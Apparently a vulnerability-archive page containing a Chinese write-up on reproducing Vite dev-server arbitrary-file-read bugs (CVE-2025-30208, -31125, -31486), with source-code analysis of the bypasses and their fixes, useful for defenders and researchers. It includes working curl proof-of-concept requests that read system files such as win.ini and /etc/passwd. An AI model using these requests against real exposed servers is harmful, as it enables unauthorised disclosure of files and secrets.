Associated Vulnerability
Title:Vite bypasses server.fs.deny when using `?raw??` (CVE-2025-30208)Description:Vite, a provider of frontend development tooling, has a vulnerability in versions prior to 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10. `@fs` denies access to files outside of Vite serving allow list. Adding `?raw??` or `?import&raw??` to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as `?` are removed in several places, but are not accounted for in query string regexes. The contents of arbitrary files can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using `--host` or `server.host` config option) are affected. Versions 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10 fix the issue.
Description
Analysis of the Reproduction of CVE-2025-30208 Series Vulnerabilities
Readme
# CVE-2025-30208 & CVE-2025-31125 & CVE-2025-31486
# 1. 漏洞概述
CVE-2025-30208, CVE-2025-31125和CVE-2025-31486是Vite 开发服务器中的一个任意文件读取漏洞。该漏洞允许攻击者通过特定的 URL 参数绕过访问控制,通过fs模块读取服务器上的敏感文件。上述三个漏洞可以算作是一个系列的漏洞,因为造成漏洞的原因非常相似。
CVE-2025-30208影响版本如下所示
```
>=6.2.0, <=6.2.2
>=6.1.0, <=6.1.1
>=6.0.0, <=6.0.11
>=5.0.0, <=5.4.14
<=4.5.9
```
CVE-2025-31125影响版本如下所示
```
>=6.2.0, <=6.2.3
>=6.1.0, <=6.1.2
>=6.0.0, <=6.0.12
>=5.0.0, <=5.4.15
<=4.5.10
```
CVE-2025-31486影响版本如下所示
```
>=6.2.0, <=6.2.4
>=6.1.0, <=6.1.3
>=6.0.0, <=6.0.13
>=5.0.0, <=5.4.16
<=4.5.11
```
# 2 环境搭建
本地从0开始搭建漏洞环境的话首先通过`create-vite`创建项目
```shell
npm create vite@latest vuln-env -y -- --template vue-ts
cd vuln-env
```
此时生成的 package.json 中 Vite 版本可能包含 ^ 符号(如 "vite": "^6.2.0"),需手动修改为精确版本号(如 "vite": "6.2.0"),再执行:
```shell
npm install
```
最后启动环境即可:
```shell
npm run dev
```
当然也可以直接利用本仓库下的`vuln-env`文件夹,`npm install`之后`npm run dev`即可。
# 3. 漏洞复现
为了方便,三个漏洞的复现都是在6.2.0版本进行的。执行`npm run dev`, 等待环境启动。

CVE-2025-30208 POC
```
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&raw??"
curl "http://localhost:5173/@fs/c:/windows/win.ini?raw??" -H "sec-fetch-dest: script"
```

CVE-2025-31125 POC
```
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&inline=1.wasm?init"
curl "http:/localhost:5173/@fs/c:/windows/win.ini?inline=1.wasm?init" -H "sec-fetch-dest: script"
```

读取的内容是经过base64编码后,解码后可得原始文件内容。

CVE-2025-31486 POC
```
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&?.svg?.wasm?init"
curl "http://localhost:5173/@fs/c:/windows/win.ini?.svg?.wasm?init" -H "sec-fetch-dest: script"
```
通报中所提到的通过相对路径读取的POC如下
```
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
```
x表示本地项目的路径,本地测试poc如下
```
curl "http://localhost:5173/@fs/D:/PrograEnv/PythonEnv/pocsuite3/CVE-2025-30208/vuln-env/?/../../../../../../test.txt?import&?raw"
```
可以看到POC基本分为两类,不需要添加HTTP Header的都要存在`?import&`,这里先按下不表,在源码分析阶段会做说明。
# 4. 源码分析
## 4.1 CVE-2025-30208
分析源码需要调试,这里通过vscode调试项目,`launch.json`文件的内容如下。
```json
{
"version": "0.1.0",
"configurations": [
{
"type": "node",
"request": "launch",
"name": "Debug Vite & Node Modules",
"runtimeExecutable": "npm",
"runtimeArgs": ["run", "dev"],
"skipFiles": ["<node_internals>/**"],
}
]
}
```
从官方的修补方案来看,是对`transformMiddleware`函数中针对URL格式检测和判断服务是否能够访问的if语句做了加强,那么断点下在`transformMiddleware`函数,跟一下请求的解析过程。

因为创建出来的项目只有编译后的js文件,所以直接全文件搜索函数关键字添加断点。

打一下POC,成功断在了目标函数。可以看到,经过一些变量的赋值之后,调用过程进入`viteTransformMiddleware`函数,在判断请求方法是否是`GET`以及请求的是否是根目录以及icon之后,url经过`removeTimestampQuery`被抹除了末尾的`?`。
```
/@fs/c:/windows/win.ini?import&raw??
⬇
/@fs/c:/windows/win.ini?import&raw?
```
通过`cleanUrl()`来获取不包含请求参数的URL,此时`withoutQuery`的值为`"/@fs/c:/windows/win.ini"`,因此不会进入`if (!isSourceMap)`代码段。紧接着通过`publicDirInRoot`判断静态资源目录是否被配置在项目根目录下,`url.startsWith(publicPath)`检查请求的URL是否以配置的公共路径(如/public/)开头。当两个条件同时满足时,调用`warnAboutExplicitPublicPathInUrl(url)`发出警告。这通常表示开发者可能在代码中错误地重复添加了公共路径。URL并不符合条件,因此也跳过了对应的代码段。`rawRE.test(url)`和`urlRE.test(url)`的结果都是False,因此不会判断`ensureServingAccess()`的结果而直接把逻辑表达式的结果设置为False,跳过代码段。在紧接着的if判断中,URL符合`ImportQueryRE`所定义的正则形式而进入if代码段内容,URL经过`removeImportQuery()`函数变更为`/@fs/c:/windows/win.ini?raw`,送入`transformRequest()`函数。
```
/@fs/c:/windows/win.ini?import&raw?
⬇
/@fs/c:/windows/win.ini?raw
```
在判断`isJSRequest(url)`的if语句中,可以看到他还判断了HTTP Header的`sec-fetch-dest`值是否是`script`,如果是则同样可以通过判断,这也就是在前文提到的POC基本分为两类的原因,添加HTTP Header和`?import&`都是为了通过if语句的判断。(其实用其他方法也可以通过判断,比如通过`isHTMLProxy(url)` -> `/@fs/c:/windows/win.ini?html-proxy&raw??`)

经过参数处理、环境检查、缓存键与重复请求检测之后,进入`doTransform()`函数。

经过缓存有效性检查之后URL`/@fs/c:/windows/win.ini?raw`被解析后得到ID`c:/windows/win.ini?raw`,然后进入`loadAndTransform()`函数。

同样经过一些赋值操作之后,根据id的值来加载插件。插件的加载顺序如下所示
```
vite:optimized-deps
↓
vite:modulepreload-polyfill
↓
vite:resolve
↓
vite:html-inline-proxy
↓
vite:css
↓
vite:wasm-helper
↓
vite:worker
↓
vite:asset
```

CVE-2025-30208的成因是攻击者精心构造的URL被解析和处理后通过了`assetPlugin`插件`if (rawRE.test(id))`的判断,被送入`fsp.readFile()`函数导致了本地文件的读取。

## 4.2 CVE-2025-31125
CVE-2025-31125的成因则是URL被解析后满足了`wasmHelperPlugin`插件的`id.endsWith(".wasm?init")`条件,被送入`fileToUrl$1()`函数,并且满足`inlineRE$2.test(id)`后送入`fsp.readFile()`函数导致了本地文件的读取。

## 4.3 CVE-2025-31486
CVE-2025-31486和CVE-2025-31125非常类似,从CVE-2025-31125的分析图中可以看到,`fileToDevUrl()`函数中一共只有两个包含正则判断的if语句,`inlineRE$2.test(id)`所在的if代码段是CVE-2025-31125的触发位置,紧随其后的`svgExtRE.test(id)`if代码段就是CVE-2025-31486的触发位置。
而相对路径的利用方法则是绕过了`ensureServingAccess()`的校验。

url进入`isFileServingAllowed()`函数之后首先会被`fsPathFromUrl()`中的`cleanUrl()`去除`?#`及之后的内容,那么对于POC中的url就会发生如下变化
```
D:/PrograEnv/PythonEnv/pocsuite3/CVE-2025-30208/vuln-env/?/../../../../../../test.txt
⬇
D:/PrograEnv/PythonEnv/pocsuite3/CVE-2025-30208/vuln-env/
```
然后Url进入`isFileLoadingAllowed()`中的`isUriFilePath()`进行校验,并在之后通过`isParentDirectory()`的判断。

# 5. 漏洞修复
## 5.1 CVE-2025-30208
从修复提交commit`262b5ec`来看,官方采取的修复方式是清除参数末尾多余的`?`,那么参数在面对`if ((rawRE.test(...) || urlRE.test(...)) && !ensureServingAccess(...)) `时就会因为`rawRE.test()`成功匹配而使得能够正常进入`ensureServingAccess()`,进而来验证服务是否允许访问,避免了修复前由于逻辑表达式短路而引起的未授权读取。

## 5.2 CVE-2025-31125
从修复提交Commit`5967313`来看,官方添加了正则`inlineRE`,那么对于`?inline=1.wasm?init`就会被正则匹配到,然后正常进入`ensureServingAccess()`判断服务是否可以访问。

## 5.3 CVE-2025-31486
从修复提交Commit`62d7e81`来看,官方的修复主要包含两个部分,第一部分则是为了处理`.svg`绕过而新增了一个`svgRE`的正则匹配。

第二部分则是为了处理相对路径读取而将参数`id`清理之后再送入`svgRe.test()`,使得参与`svgRe.test()`检测的参数与参与`file`拼接的参数保持一致。

File Snapshot
[4.0K] /data/pocs/a21b8ffe2deff0bd860db3de3f1286ce5719f3f2
├── [2.3K] 20250324_vite_vite_pre-auth_arbitrary_file_read_CVE-2025-30208.py
├── [2.7K] 20250401_vite_vite_pre-auth_arbitrary_file_read_CVE-2025-31125.py
├── [2.7K] 20250408_vite_vite_pre-auth_arbitrary_file_read_CVE-2025-31486.py
├── [8.6K] README.md
├── [4.0K] resources
│ ├── [ 45K] image_10.png
│ ├── [ 41K] image_11.png
│ ├── [152K] image_12.png
│ ├── [ 98K] image_13.png
│ ├── [108K] image_14.png
│ ├── [109K] image_15.png
│ ├── [ 46K] image_16.png
│ ├── [239K] image_17.png
│ ├── [ 85K] image_18.png
│ ├── [206K] image_19.png
│ ├── [ 18K] image_1.png
│ ├── [ 60K] image_2.png
│ ├── [ 75K] image_3.png
│ ├── [ 24K] image_4.png
│ ├── [107K] image_5.png
│ ├── [150K] image_6.png
│ ├── [179K] image_7.png
│ ├── [ 87K] image_8.png
│ └── [250K] image_9.png
└── [4.0K] vuln-env
├── [ 362] index.html
├── [ 410] package.json
├── [ 44K] package-lock.json
├── [4.0K] public
│ └── [1.5K] vite.svg
├── [ 442] README.md
├── [4.0K] src
│ ├── [ 646] App.vue
│ ├── [4.0K] assets
│ │ └── [ 496] vue.svg
│ ├── [4.0K] components
│ │ └── [ 856] HelloWorld.vue
│ ├── [ 111] main.ts
│ ├── [1.2K] style.css
│ └── [ 38] vite-env.d.ts
├── [ 392] tsconfig.app.json
├── [ 119] tsconfig.json
├── [ 593] tsconfig.node.json
└── [ 155] vite.config.ts
6 directories, 38 files
Remarks
1. It is advised to access via the original source first.
2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →